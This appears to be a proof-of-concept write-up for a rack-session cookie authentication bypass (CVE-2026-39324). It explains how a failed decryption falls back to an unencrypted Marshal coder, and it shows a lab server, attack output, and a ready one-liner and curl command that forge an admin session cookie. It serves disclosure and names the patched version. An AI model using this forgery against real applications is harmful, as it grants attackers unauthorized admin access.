
Proof-of-concept exploit for Rack::Cookie authentication bypass (CVE-2026-39324), demonstrating session forgery via fallback coder to gain admin access.
Rack::Session::Cookie decrypt failure falls back to accepting unencrypted cookies
| Advisory | GHSA-33qg-7wpp-89cq |
| Package | rack-session (RubyGems) |
| Affected | <= 2.1.1 |
| Patched | 2.1.2 |
Rack::Session::Cookie with secrets: should only accept encrypted cookies. But when decryption fails, it doesn't reject the cookie — it falls back to the default Base64::Marshal coder.
An attacker can send a plain Base64(Marshal.dump(...)) cookie and the server accepts it as valid session data, without knowing any secret.
rack-session <= 2.1.1Rack::Session::Cookie with secrets: optionuser_id, role, etc.) for authorizationNot affected:
secret: (singular) — uses HMAC signing, different code path. Only secrets: (plural, encrypted cookie mode) is vulnerable.ActionDispatch::Session::CookieStore, separate implementation.# lib/rack/session/cookie.rb
# Fallback coder is always created, regardless of secrets: config
@coder = options[:coder] ||= Base64::Marshal.new
# Tries to decrypt — all fail for an unencrypted cookie
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# BUG: doesn't reject, falls through to unencrypted coder
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
Decrypt failure on the secrets: path should be terminal. Instead it passes the cookie to coder.decode(), so plain cookies get loaded as session data.
poc/
├── Gemfile rack-session 2.1.1
├── server.rb Rack app with secrets: config
├── verify.rb Baseline check (normal behavior)
└── attack.rb Session forgery (the exploit)
cd poc
bundle install
ruby server.rb & # start vulnerable server
ruby verify.rb # confirm normal behavior
ruby attack.rb # forge cookie → admin access
Rack app using secrets: for encrypted cookies. Two users: id=1 (regular), id=2 (admin). Only user_id is stored in session; admin check is a server-side lookup.
Confirms the server works correctly:
| Request | Expected |
|---|---|
GET /admin (no cookie) | 403 |
POST /login?id=1 | 200, encrypted cookie |
GET /admin (user id=1 cookie) | 403 |
Forges a session cookie without any secret.
1) Forge cookie:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) Server-side flow when it receives the forged cookie:
encryptor #1 decrypt → HMAC invalid
encryptor #2 decrypt → HMAC invalid
fallback → coder.decode() → Marshal.load → attacker session accepted
→ session["user_id"] = 2 → admin user resolved → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: Session Forgery ---
Target: http://127.0.0.1:9416
Payload: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
Session cookie encryptor error: HMAC is invalid ← encryptor #1 failed
Session cookie encryptor error: HMAC is invalid ← encryptor #2 failed, but cookie not rejected
Status: 200
Body: {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] VULNERABLE — forged user_id=2 accepted, admin access granted.
Both HMAC checks fail, but the cookie isn't rejected — the fallback coder accepts it and the attacker gets admin.
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session to >= 2.1.2